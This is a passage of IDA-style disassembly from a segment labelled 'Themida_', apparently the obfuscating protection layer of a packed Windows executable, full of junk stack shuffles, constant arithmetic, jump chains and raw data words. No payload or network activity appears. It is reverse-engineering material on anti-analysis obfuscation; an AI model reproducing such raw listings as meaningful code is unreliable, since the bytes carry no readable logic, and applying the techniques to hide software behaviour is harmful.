		dd 248B242Ch, 48B6624h,	4EC8124h, 0E9000000h, 6EDEh
dword_61E548	dd 0D0E9028Fh, 0B8FFFFDCh, 0E9B0A5B1h, 0E95AD001h, 0F9Fh
					; DATA XREF: Themida_:0061BF94o
		dd 0B6241489h, 91EB80D2h, 0C380F300h, 24148B91h, 4C481h
		dd 0C3800000h, 80C3007Bh, 0EC837BEBh, 5E2E902h,	0EA810000h
		dd 4, 0E9241433h, 7C60h, 4C181h, 0BF570000h, 4,	0E9E9F901h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E5A3:				; CODE XREF: Themida_:00625413j
		mov	eax, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_61CC7C
; ---------------------------------------------------------------------------
aISga		db 'ga',0
		align 2


loc_61E5C2:				; CODE XREF: Themida_:0062074Dj
		push	3D14h
		mov	[esp], edx
		mov	edx, 0
		add	edx, ebx
		add	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4


loc_61E5E6:				; CODE XREF: Themida_:0061CE52j
		push	6B74h
		mov	[esp], edi
		mov	edi, ebx
		push	0C9Ah
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_624A74
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0D0F75824h, 4FB268h,	24148900h, 8E656DBAh, 604DE959h
		dd 0E9830000h, 0F331E904h, 0C483FFFFh, 68516602h, 7EF4h
		dd 0B3241C89h, 37AFE96Ah, 2C890000h, 2C815024h,	0C21B9624h
		dd 31E95D23h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E64B:				; CODE XREF: Themida_:0061C7BDj
		mov	[esp], ebp
		push	0FFFFFFFFh
		mov	ebp, [esp]
		push	5572h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		push	65AEh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_6264B2
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 5650D6F7h, 8229E9h, 0E4BD5500h, 0E9028F6Eh, 33F8h
dword_61E6A4	dd 240C8B66h, 6E1368h, 242C8900h, 0EF68E589h, 89000024h
					; DATA XREF: Themida_:0061C128o
		dd 0D5BF243Ch, 8141642Dh, 642DD1EFh, 8BFD0141h,	0C481243Ch
		dd 4, 2BB53h, 0C7E90000h
		db 19h,	2 dup(0)
byte_61E6DB	db 66h			; DATA XREF: Themida_:0061C1CCo
		dd 8124048Bh, 4ECh, 240C8900h, 0B8505954h, 4, 6858C101h
		dd 3984h, 68243C89h, 2,	81243C8Bh, 4C4h, 17C18100h, 817DF62Ch
		dd 1B1CC3C1h, 81F9016Dh, 1B1CC3E9h, 17E9816Dh, 5F7DF62Ch
		dd 0E9240C87h, 97ECh
aNrsza		db 'Ra',0            ; DATA XREF: Themida_:0061C19Co
		dw 8700h
		dd 295C2434h, 0E99C2404h, 0FFFFDADFh
; ---------------------------------------------------------------------------


loc_61E740:				; CODE XREF: Themida_:0061E0D8j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		jmp	loc_61F6D6
; ---------------------------------------------------------------------------


loc_61E74A:				; CODE XREF: Themida_:0061FD46j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_61D177
; ---------------------------------------------------------------------------
		dd 0BBh, 1DBF5700h, 473F2B50h, 9340E9h,	0D6F75C00h, 4EEC146h
		dd 0EEC1DEF7h, 607E906h, 0E5890000h, 4C581h, 0C5830000h
		dd 242C8702h, 48F665Ch,	0CD876624h, 66D1F766h, 6658E068h
		dd 66242C89h, 0E95D6651h, 2EDCh, 30BD55h, 0E8015E66h, 6FEEE9h
		dd 505A5400h, 8F61A0B8h, 2DD8F74Fh, 4B626CCBh, 0E319135h
		dd 3C8AE965h, 0C4830000h, 242C3304h, 33242C31h,	34E9242Ch
		dd 5900009Fh, 4389B850h, 0D0F73452h, 0FF05E0D1h, 0E9FFFFFFh
		dd 1958h
; ---------------------------------------------------------------------------


loc_61E7F4:				; CODE XREF: Themida_:00625BA8j
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_621B9F
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 78h
		dd 80B7CA80h, 0CAFE7ECAh, 7DEA80h, 0C3805AD3h, 4EB1518Bh
		dd 80ACE180h, 0CB2815E9h, 559DE9h, 14CA8100h, 817F4F77h
		dd 0E20451F2h, 0E9EAD178h, 8B25h
; ---------------------------------------------------------------------------


loc_61E83C:				; CODE XREF: Themida_:00621452j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		push	66A76025h
		pop	edx
		push	4705h
		mov	[esp], eax
		mov	eax, 272A7798h
		jmp	loc_627F02
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3EE9D8F7h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E86F:				; CODE XREF: Themida_:0062750Ej
		push	ebx
		mov	ebx, 4EA164D6h
		add	ebx, 3DDE2638h
		shl	ebx, 7
		and	ebx, 768957BEh
		jmp	loc_6229FF
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0A3h
		dd 0E99C2404h, 0FFFFD98Bh, 83240C8Bh, 895304C4h, 4C381E3h
		dd 83000000h, 1C8704C3h, 6CD1E924h, 0F2010000h,	598E95Eh
		dd 315D0000h, 0F7015BDEh, 4C7835Eh, 0E9243C33h,	0FFFFF846h
		dd 0F6D94B8h, 35D8F77Eh, 0E73F9h, 0A304712Dh, 96563551h
		dd 0AC352876h, 0C1665E1Dh, 0E88305E0h, 9EEA05FFh, 78E96924h
		dd 52000009h, 0DAE3E0BAh, 0E9D101FFh, 74E6h, 8B242C87h
		dd 0EC832424h, 4B8FE904h, 0EA890000h, 8475E9h
		db 0
; ---------------------------------------------------------------------------


loc_61E915:				; CODE XREF: Themida_:00627A78j
		pop	esi
		push	edx
		jmp	loc_61F07D
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFD8FBh, 4C481h, 0C6810000h, 2, 31243433h
		dd 34332434h, 0E97AE924h, 8CB8FFFFh, 0E9243273h, 6D16h
		dd 0E959EC08h, 8440h, 8BD8215Ah, 0DC68241Ch, 89000050h
		dd 0E0892404h, 0FFF00FE9h, 3336BBFFh, 8B535658h, 0C481240Ch
		dd 4, 3C1815Bh,	89F3E9F9h, 240C8BCDh, 6583E9h, 4C58100h
		dd 68000000h, 1A91h, 0BF243C89h, 2, 3068BA52h, 0DAF770CFh
		dd 8102EAC1h, 0A037B5C2h, 2EAC148h, 6268E9h, 9E95800h
		dd 8700004Bh, 2C5C2434h, 4E800F2h, 0C8B66F2h, 64F2E924h
		dd 6F680000h, 89000011h, 0C6E92434h
		db 3Eh,	2 dup(0)
byte_61E9D7	db 8Bh			; DATA XREF: Themida_:0061C174o
		dd 44E92404h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E9DF:				; CODE XREF: Themida_:0061F385j
		dec	ebx
		sub	ebx, 166654D6h
		xor	ebx, 0DF45F575h
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, 9991AFC8h
		jmp	loc_61FB88
; ---------------------------------------------------------------------------


loc_61EA00:				; CODE XREF: Themida_:0061F364j
		push	edi
		mov	edi, 468D426Eh
		sub	edx, edi
		jmp	loc_622FEA
; ---------------------------------------------------------------------------
		db 68h,	0Ch, 23h
		dd 75E90000h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61EA17:				; CODE XREF: Themida_:00625530j
		add	esi, 4
		push	58FDh
		jmp	loc_61C390
; ---------------------------------------------------------------------------
		db 51h
		dd 0EC83E189h, 24148904h, 8A6A40BAh, 0F7D2F70Bh, 3CEA81D2h
		dd 10B8A6Ah, 24148BD1h,	1A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_61EA49:				; CODE XREF: Themida_:0061D96Fj
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ch, dl
		push	3EEDh
		mov	[esp], edx
		mov	dl, ch
		jmp	loc_61EEC0
; ---------------------------------------------------------------------------
		db 83h
		dd 685504C4h, 5662h, 0E9240489h, 0A24h
; ---------------------------------------------------------------------------


loc_61EA70:				; CODE XREF: Themida_:0061D639j
		dec	edx
		not	edx
		add	edx, 76E0760Fh
		and	edx, 58F86192h
		jmp	loc_61CEA7
; ---------------------------------------------------------------------------
		dd offset loc_429F68
		dd 24248900h, 4240481h,	58000000h, 405h, 4E88300h, 8B240487h
		dd 7E92424h, 0D1FFFFEFh, 6CEF81E7h, 81350741h, 886B93C3h
		dd 66EB8172h, 12B7C32h,	5AB9E9FBh, 0E5890000h, 0EC78E956h
		dd 0C781FFFFh, 4FA776Ch, 4EC81h, 3C890000h, 24048124h
		dd 1DDA4ABCh, 0BCE98159h, 0FF1DDA4Ah, 835F2434h, 0C82904C4h
		dd 4EC8159h, 89000000h,	0ACBF243Ch, 573B8D46h, 8B240CFFh
		dd 0C481243Ch, 4, 0E37FEF81h, 0C381278Fh, 751A617Ch, 0EB81FB01h
		dd 751A617Ch, 56243C8Bh, 0FFE47BE9h, 58E308FFh,	6722E9h
		dd 0E9CD8900h, 3D97h
off_61EB38	dd offset loc_619966+2	; DATA XREF: Themida_:0061C104o
		dd 24048900h, 4489E957h, 0B8500000h, 742F38A8h,	542DD0F7h
		dd 0E97F5340h, 380Dh, 0F466FBBh, 0E9C3012Eh, 0DB6h, 24148966h
		dd 0CAB65250h, 1E4E9h, 81D12900h, 4D2F05E9h, 0CBE95A0Ah
		dd 5100003Ch, 0A0E9E189h, 33000058h, 0C31240Ch,	240C3324h
		dd 0E689565Ch, 4C681h, 0C6830000h, 24348704h, 9CC83B5Ch
		dd 0FFD676E9h, 53E089FFh, 853C38BBh, 3800E915h,	0C5340000h
		dd 88C78853h, 2AE95BFEh, 0BDFFFFF4h, 0E7204236h, 58B5EE81h
		dd 0EE816E5Ah, 4B204A88h, 157AC681h, 0EE294BFDh, 157AEE81h
		dd 0FDE94BFDh, 68000008h, 6F9Dh, 26AE9h, 4C48100h, 83000000h
		dd 0C8704C1h, 0D6E95C24h, 0BBFFFFF7h, 78DD7074h, 0FB67C381h
		dd 0DF29D0BEh, 0FFF8215Bh, 16E92434h, 5FFFFFDCh, 7FB16859h
		dd 0F5E90000h, 83FFFFFCh, 6B6802C4h, 89000074h,	52532414h
		dd 0BCB76BB6h, 0E95AF728h, 28E6h, 0FFD5DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61EC45:				; CODE XREF: Themida_:0062035Aj
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89525D24h, 4C281E2h,	83000000h, 148704C2h, 0E9575C24h
		dd 48E1h
; ---------------------------------------------------------------------------


loc_61EC64:				; CODE XREF: Themida_:00622E57j
		shl	edx, 4
		xor	edx, 4FB16152h
		xor	ebx, edx
		pop	edx
		dec	ebx
		dec	ebx
		push	eax
		mov	eax, 794A5607h
		push	edi
		mov	edi, 634D000Ch
		jmp	loc_6286AF
; ---------------------------------------------------------------------------
byte_61EC83	db 66h			; DATA XREF: Themida_:0061C11Co
		dd 51240C8Bh, 3A68E189h, 0E9000014h, 0FFFFE26Ch, 53E9CCFEh
		dd 8300006Ch, 3C6802C4h, 89000034h, 0B5E92414h,	81FFFFEEh
		dd 42404h, 5580000h, 4,	405h, 24048700h, 0FFFAA8E9h
		db 0FFh
byte_61ECC5	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0061BF7Co
		dd 0E9240C8Bh, 3598h
; ---------------------------------------------------------------------------


loc_61ECD0:				; CODE XREF: Themida_:006254B7j
		mov	bh, 0D1h
		jmp	loc_61CBB4
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2EBC1DBh, 1CC7B951h,	0DEE95623h, 8100000Ch, 4C1h, 4C18100h
		dd 0E9000000h, 2373h, 0E6C1DE87h, 0FCEE8104h, 0E902A808h
		dd 17B1h
; ---------------------------------------------------------------------------


loc_61ED08:				; CODE XREF: Themida_:0061E26Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_6261C1
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 24FBE924h, 56680000h, 0E9000014h, 0FFFFF912h, 0E0E9C301h
		dd 8B000042h, 51E92404h, 81FFFFF1h, 4C6h, 4C68300h, 0FFFC72E9h
		dd 242C89FFh, 4BDh, 5DE90100h, 6464E9h,	0E9F48800h, 9485h
		dd 8B38562Dh, 7FEBE93Fh, 0CEFE0000h, 485BE9h
		db 0
; ---------------------------------------------------------------------------


loc_61ED6D:				; CODE XREF: Themida_:00626BC5j
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xchg	ecx, ebx
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_62748A
; ---------------------------------------------------------------------------
		db 81h,	0E6h, 0E1h
		dd 812DD278h, 8C42E5F6h, 0E9F2017Ah, 532h, 0D1F7D9F7h
		dd 792FE981h, 0B8506B81h, 0
		dd 0E513392Dh, 5C82974h, 74E51339h, 48BC189h, 4C48324h
		dd 0D5B0E981h, 0C381FF34h, 6C4A10B2h, 0EB81CB01h, 6C4A10B2h
		dd 83240C8Bh, 59E904C4h, 0B8FFFFEAh, 0FFFFFFFFh, 6738C581h
		dd 0ED81187Ah, 78871D22h, 4925E9h, 68555100h, 65BB4D4Eh
		dd 0C9F5815Dh, 0E9513A0Ah, 71CFh
; ---------------------------------------------------------------------------


loc_61EE04:				; CODE XREF: Themida_:00620161j
		mov	eax, esp
		push	edi
		push	edx
		mov	edx, 164902CBh
		inc	edx
		and	edx, 1C5437FAh
		xor	edx, 0F6A0C4Dh
		jmp	loc_6262C8
; ---------------------------------------------------------------------------
		db 0B8h
		dd 74367F9Ch, 5E8C140h,	2966B425h, 1FEFE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61EE32:				; CODE XREF: Themida_:00622F97j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_61DD25
; ---------------------------------------------------------------------------
		dd 2004E952h, 0C2810000h, 4FE90A03h, 88E9CA01h,	89000007h
		dd 4BE2434h, 1000000h, 5E042474h, 0FFED56E9h
		db 0FFh
byte_61EE6D	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061C164o
aUtHs		db '$UT]h;',0
		dd 24048900h, 4BD55h, 0E8890000h, 0A1C5815Dh, 100292Dh
		dd 0A1ED81C5h, 8B00292Dh, 19E92404h, 89000095h,	4C181E1h
		dd 50000000h, 4B8h, 0A5C18100h,	0E90AA70Dh, 2F73h, 188FED81h
		dd 0E95E34FEh, 6706h
; ---------------------------------------------------------------------------


loc_61EEC0:				; CODE XREF: Themida_:0061EA5Aj
		push	eax
		jmp	loc_6279F7
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 119Ah, 81243C8Bh, 4C4h, 4AEC0500h, 0A72D2B18h, 169B572h
		dd 72A705F8h, 0EC2D69B5h, 8B2B184Ah, 48E9243Ch,	81000052h
		dd 2103CEEFh, 0E62FE916h, 1C8BFFFFh, 4C48324h, 205h, 24043300h
		dd 33240431h, 248B2404h, 79E8E924h, 4BB0000h, 81000000h
		dd 0DD3759C2h, 81DA0111h, 0DD3759EAh, 241C8B11h, 4C481h
		dd 0EC810000h, 4, 0BB241C89h, 2, 56E9DA01h, 81000016h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 0CBBF243Ch, 0C17A8752h
		dd 0BA5202EFh, 82B7D1Eh, 0E95AD721h, 0FFFFFB56h, 5C240487h
		dd 868E9F7h, 8900006Eh,	9C502414h, 0FFD296E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61EF89:				; CODE XREF: Themida_:006261EBj
		pop	esp
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_623638
; ---------------------------------------------------------------------------


loc_61EF99:				; CODE XREF: Themida_:0061C25Bj
		add	bl, al
		add	bl, 29h
		push	edx
		push	eax
		mov	al, 0C9h
		push	ecx
		jmp	loc_626000
; ---------------------------------------------------------------------------


loc_61EFA8:				; CODE XREF: Themida_:0061D5B4j
		sub	ebx, 50090772h
		add	ebx, ebp
		push	ebp
		mov	ebp, 359E2072h
		add	ebp, 1A6AE700h
		add	ebx, ebp
		jmp	loc_620041
; ---------------------------------------------------------------------------
		db 54h
		dd 0E924048Fh, 0FFFFFC1Bh, 15FFE29h, 0E9535EF5h, 7B0Dh
; ---------------------------------------------------------------------------


loc_61EFD8:				; CODE XREF: Themida_:0061F757j
		mov	ecx, 169F456Fh
		xor	ecx, 25F32EAh
		or	ecx, 716748A0h
		xor	ecx, 2379521Eh
		jmp	loc_625418
; ---------------------------------------------------------------------------
		dd 8094C680h, 885306EEh, 5BFC88F7h, 0D6B7535Ah,	80A6E780h
		dd 0EF802CCFh, 80E7D0E7h, 0FC30F8C7h, 0E688525Bh, 79AAE9h
		dd 9BBF5700h, 472F552Bh, 0D9E94747h
		db 0DFh, 2 dup(0FFh)
byte_61F02B	db 66h			; DATA XREF: Themida_:0061C040o
		dd 8124048Bh, 4ECh, 24148900h, 0B951E289h, 2E5017D6h, 7534C981h
		dd 0E9D1721Ch, 0A6E9E1D1h, 8B000062h, 8B662424h, 0C5682404h
		dd 89000009h, 0E0892404h, 405h,	4E88300h, 31240433h, 93E92404h
		dd 0BA000083h, 4, 3BE4E9h
		db 0
; ---------------------------------------------------------------------------


loc_61F07D:				; CODE XREF: Themida_:0061E917j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_6242E6
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 7Eh
		dd 89C2F59Ah, 24148BD5h, 4C481h, 32E90000h, 5C000028h
		dd 922AE9h, 64ECBB00h, 87E90558h, 81000018h, 57FAF6EAh
		dd 40A3E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61F0C2:				; CODE XREF: Themida_:00623CEDj
		add	esp, 4
		jmp	loc_61F3D8
; ---------------------------------------------------------------------------
		dw 0F809h
		dd 0D973E95Fh, 0C229FFFFh, 35CEC281h, 0EA8159D2h, 0E9E121Ah
		dd 4DB8BB53h, 0DA017FE2h, 0E8FE95Bh, 5A0000h, 6CD68C3h
		dd 4890000h, 0E910B024h, 826Ch
; ---------------------------------------------------------------------------


loc_61F100:				; CODE XREF: Themida_:0061CCBAj
		push	esi
		push	ecx
		mov	ecx, 270C1AF6h
		jmp	loc_61F2F5
; ---------------------------------------------------------------------------
		dd 0F724048Fh, 243487D6h, 7B2EE9h, 5BDA8800h, 0E280DAF6h
		dd 6DE28071h, 514BEA80h, 7BE986B5h, 0FFFFDCh, 82C380C3h
		dd 80B7C380h, 0B60F65EBh, 87048FC0h, 0FFD0DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61F145:				; CODE XREF: Themida_:00627F62j
		sub	esp, 4
		jmp	loc_61DD3C
; ---------------------------------------------------------------------------
		db 0BBh, 2, 0
		dd 14E90000h, 81000035h, 0DE3A95EBh, 48BA527Bh,	1140A4Ch
		dd 0D1E95AD3h, 81FFFFE2h, 0E2773EE1h, 81D9F73Ah, 0EA5F38F1h
		dd 0FC381D0h, 0E9148477h, 3C35h, 38E9CA2Ch
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61F18B:				; CODE XREF: Themida_:00620147j
		pop	ebx
		sub	esi, 3341B440h
		xor	ecx, esi
		pop	esi
		push	112h
		mov	[esp], ebx
		jmp	loc_61E25E
; ---------------------------------------------------------------------------
		dw 6853h
		dd 7EBA4263h, 0AE94B5Bh, 0B7FFFFE4h, 80CFFEC3h,	0F82873C7h
		dd 5172045Bh, 0B0506653h, 66C7882Ah, 58F78058h,	34FFFD88h
		dd 44A1E924h, 81590000h, 5B491BEBh, 81FB0126h, 5B491BC3h
		dd 6D28E926h, 48B0000h,	4C48124h, 88000000h, 5901874Ch
		dd 0D025E95Bh, 0E9C1FFFFh, 30F18103h, 891B22E0h, 0E95559CEh
		dd 0FFFFF9B7h, 4B8h, 58C22900h,	2474FF52h, 48F5A04h, 24248B24h
		dd 6AF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_61F225:				; CODE XREF: Themida_:00622FB2j
		xor	ebp, 4EC84481h
		xor	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 60693B87h
		xor	ebx, 7FF00365h
		sub	ebx, 355565AAh
		add	ebx, 0FFFFFFFFh
		jmp	loc_61F369
; ---------------------------------------------------------------------------
		dd 173CE958h, 0F5810000h, 2E480239h, 295DEB01h,	0DB16E9C3h
		dd 0E289FFFFh, 4BF57h, 12E90000h, 1000092h, 0EB8158C3h
		dd 13C2676Ch, 641FE9h
		db 0
; ---------------------------------------------------------------------------


loc_61F279:				; CODE XREF: Themida_:0061FA1Dj
		shr	eax, 12h
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_626BA7
; ---------------------------------------------------------------------------
aSll		db '[lL',0
		db 0
; ---------------------------------------------------------------------------


loc_61F28F:				; CODE XREF: Themida_:006278F5j
		push	ebx
		mov	ebx, 1
		and	eax, ebx
		jmp	loc_625595
; ---------------------------------------------------------------------------
		dd 48BC701h, 4C48324h, 0E7C1D7F7h, 0F5F78108h, 120FF7Ah
		dd 0F5815FFDh, 41CC7C34h, 0EEE9EB89h, 83000008h, 48F04C4h
		dd 1D91E924h, 34FF0000h, 0C4835E24h, 0CF49E904h
		db 2 dup(0FFh)
word_61F2D6	dw 478Fh		; DATA XREF: Themida_:0061C010o
		dd 0CF41E940h, 44B9FFFFh, 0E96F7937h, 59CEh, 0F5E0BDBDh
		dd 5DEF2969h, 2268E9h
		db 0
; ---------------------------------------------------------------------------


loc_61F2F5:				; CODE XREF: Themida_:0061F107j
		mov	esi, ecx
		jmp	loc_621CA3
; ---------------------------------------------------------------------------
aLSV		db '$$[v',0
		align 4
		dd 0A05BA9B9h, 59C82963h, 50450C35h, 6530E98Ah,	10680000h
		dd 8900005Bh, 0EC83240Ch, 241C8904h, 0FFEF78E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61F329:				; CODE XREF: Themida_:0061DB4Dj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		xchg	ebp, [esp]
		jmp	loc_61C8B5
; ---------------------------------------------------------------------------


loc_61F347:				; CODE XREF: Themida_:00627D6Aj
		mov	[esp], eax
		mov	eax, 6D4528F8h
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	2769h
		mov	[esp], edx
		mov	edx, 490A08C8h
		jmp	loc_61EA00
; ---------------------------------------------------------------------------


loc_61F369:				; CODE XREF: Themida_:0061F243j
		push	ebp
		mov	ebp, 42FC4FA4h
		xor	ebp, 7E553591h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, 7628F1E5h
		dec	ebx
		and	ebx, 128508A0h
		jmp	loc_61E9DF
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 2EEC0E2h, 0F6B9B450h, 55F480D4h, 8058E608h, 0D1E9EFEEh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61F3A3:				; CODE XREF: Themida_:00620F8Dj
		push	edi
		jmp	loc_62640F
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C4h
		dd 4, 86ECE9h, 81E68900h, 4C6h,	4C68100h, 56000000h, 42474FFh
		dd 60C1E95Eh, 8B680000h, 0E9000042h, 6A00h
; ---------------------------------------------------------------------------


loc_61F3D8:				; CODE XREF: Themida_:0061F0C5j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_62810B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C481240Ch, 4, 50AAE9h, 24048300h, 0C5815D04h
		dd 4, 5504ED83h, 0CBE9h, 0F8F78100h, 8115855Ah,	0F7061EEFh
		dd 0E9FA29D9h, 4A8Ah
dword_61F41C	dd 240C8B66h, 52DD68h, 240C8900h, 5F41E9h		db 0
; ---------------------------------------------------------------------------


loc_61F42D:				; CODE XREF: Themida_:00623774j
		sub	bl, dh
		pop	edx
		movzx	eax, al
		jmp	loc_627476
; ---------------------------------------------------------------------------
		dd 19060558h, 0C289E140h, 91BD5558h, 1405913h, 0C2815DEAh
		dd 2D596019h, 1801E9h, 4C48100h, 21000000h, 2434FFE9h
		dd 0FFF7E5E9h, 9ACE81FFh, 0F764660Fh, 3EEE81DEh, 18998B0h
		dd 24348BF3h, 5E08950h,	4, 405h, 24048700h, 241C875Ch
		dd 0E924248Bh, 5970h, 0F7453EB8h, 6CB4E951h, 14890000h
		dd 673CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61F4A6:				; CODE XREF: Themida_:00623088j
		pop	ebx
		add	ecx, 273BD6C7h
		add	esi, ecx
		jmp	loc_625006
; ---------------------------------------------------------------------------


loc_61F4B4:				; CODE XREF: Themida_:00620022j
		sub	ecx, 60E60F8Dh
		sub	ecx, 39D1140Ch
		jmp	loc_61D66E
; ---------------------------------------------------------------------------
		db 66h,	0BFh, 76h
		dd 3CF1E95Ch, 0E9580000h, 7DEEh, 42474FFh, 0FFE217E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61F4DD:				; CODE XREF: Themida_:006225D1j
		inc	esi
		inc	esi
		jmp	loc_61C7F2
; ---------------------------------------------------------------------------
		dd 4A88C681h, 0C6814B20h, 6E5A58B5h, 8BF2315Dh,	90E92434h
		dd 3100006Eh, 0E9485BD8h, 89Fh,	316A95BFh, 0FCF78148h
		dd 4F740B0Dh, 47C4E781h, 0DEE951A1h, 3300007Ch,	2AE92434h
		dd 0BF000053h, 236B2C16h, 5C69E9h
		db 0
; ---------------------------------------------------------------------------


loc_61F52D:				; CODE XREF: Themida_:00625758j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_621DB3
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 0F0h
		dd 0C03FCA80h, 0C28006EAh, 5AD02828h, 2C822C59h, 0E9F028B0h
		dd 39C2h, 0FFCCCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61F555:				; CODE XREF: Themida_:00622B0Cj
		pop	ebx
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		dw 3104h
		dd 8F7DE9h, 0C2816600h,	50665BF6h, 7D1E9h, 49F5BF00h, 0BB946D0h
		dd 316C7B69h, 0E9C15FF9h, 81D1F706h, 2F5D19E9h,	67F18103h
		dd 1FC25F6h, 240C8BCEh,	81E38953h, 4C3h, 4C38100h, 87000000h
		dd 505C241Ch, 4B8h, 0C1EE8100h,	101697Bh, 0C1C681C6h, 5801697Bh
		dd 0FFDB05E9h, 3DD12DFFh, 38E972ACh, 56FFFFCFh,	0E90A03BEh
		dd 5EF2294Fh, 5C6E955h,	0E9550000h, 7743h, 70BD554Fh, 0E92E0B33h
		dd 6A14h, 405h,	2E88300h, 5C240487h, 240C8966h,	0FFEE9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61F619:				; CODE XREF: Themida_:0061D327j
		push	ecx
		xor	dword ptr [esp], 48E104EAh
		pop	ebx
		xor	ebx, 48E104EAh
		pop	ecx
		sub	eax, ebx
		push	dword ptr [esp]
		jmp	loc_627493
; ---------------------------------------------------------------------------


loc_61F633:				; CODE XREF: Themida_:00627C33j
		mov	eax, [esp]
		add	esp, 4
		neg	edi
		shr	edi, 4
		or	edi, 5D676EB2h
		sub	edi, 4331F2ADh
		add	ebp, 798628A3h
		add	ebp, edi
		sub	ebp, 798628A3h
		pop	edi
		sub	ebp, 2F8E038Eh
		sub	ebp, edx
		add	ebp, 2F8E038Eh
		sub	ebp, 1AB57D4Eh
		mov	edx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_61C561
; ---------------------------------------------------------------------------
aXiss9		db 'X^9',0
		align 2
		dw 34FFh
		dd 241C8B24h, 4C481h, 0E9530000h, 4306h, 0E7C1D7F7h, 0F851E902h
		dd 1489FFFFh, 148B5424h, 4C48324h, 0F868E953h, 7401FFFFh
		dd 0BDE90424h
		db 0E0h, 2 dup(0FFh)
byte_61F6BB	db 66h			; DATA XREF: Themida_:0061C054o
		dd 6824048Bh, 3C57h, 89243489h,	505255E6h, 193E8568h, 0FD62E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61F6D6:				; CODE XREF: Themida_:0061E745j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_6226DA
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 52E78957h, 4F6793BAh, 0CA814A21h,	39F007C9h
		dd 29A8E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61F712:				; CODE XREF: Themida_:00621F2Cj
		xchg	edi, [esp]
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 0AF9C9B83h
		jmp	loc_6227A5
; ---------------------------------------------------------------------------


loc_61F725:				; CODE XREF: Themida_:00623F5Aj
		push	ebx
		mov	ebx, 6CB65326h
		xor	esi, ebx
		pop	ebx
		push	edx
